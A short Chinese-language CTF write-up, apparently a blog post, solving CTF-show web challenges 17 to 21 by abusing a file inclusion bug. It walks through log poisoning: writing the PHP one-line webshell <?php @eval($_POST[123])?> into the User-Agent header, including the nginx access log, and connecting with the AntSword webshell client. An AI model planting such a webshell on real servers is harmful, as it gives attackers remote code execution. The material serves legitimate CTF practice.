CTF-show web第十七题(新的开始)到21题的解法
CTF-show web第十七题(新的开始)到21题的解法
include(),include_once(),require(),require_once()这些都是文件包含常见的函数,这 题就是文件包含漏洞。
可以看到中间件是nginx,所以查看nginx这个日志?c=/var/log/nginx/access.log,使用burpsuite抓包查看
可以看到日志里面写入了User-Agent了,所以我们用一句话木马以及中国蚁剑来连接木马
第一步:先将代理选项卡中的User-Agent:。。。中的内容改为<?php @eval($_POST[123])?>
解释一下:eval是将括号里面的内容当作代码来执行,$_POST[123]是post传参,123是密码
第二步:放行
第三步:使用中国蚁剑,先复制https://2136233d-871d-461a-b5f5-ab432db9cd23.challenge.ctf.show/?c=/var/log/nginx/access.log记住后面的/?c=/var/log/nginx/access.log要带,
这里要将https改为http不然连接不稳定。然后添加。打开就可以看到
这就是结果。
也可以用F12来查看中间件哦!
这个就是哦,然后要记住,/var/log/nginx/access.log哦这个是通用的都是这个后面的大多数题都是这种解法哦。到21题





浙公网安备 33010602011771号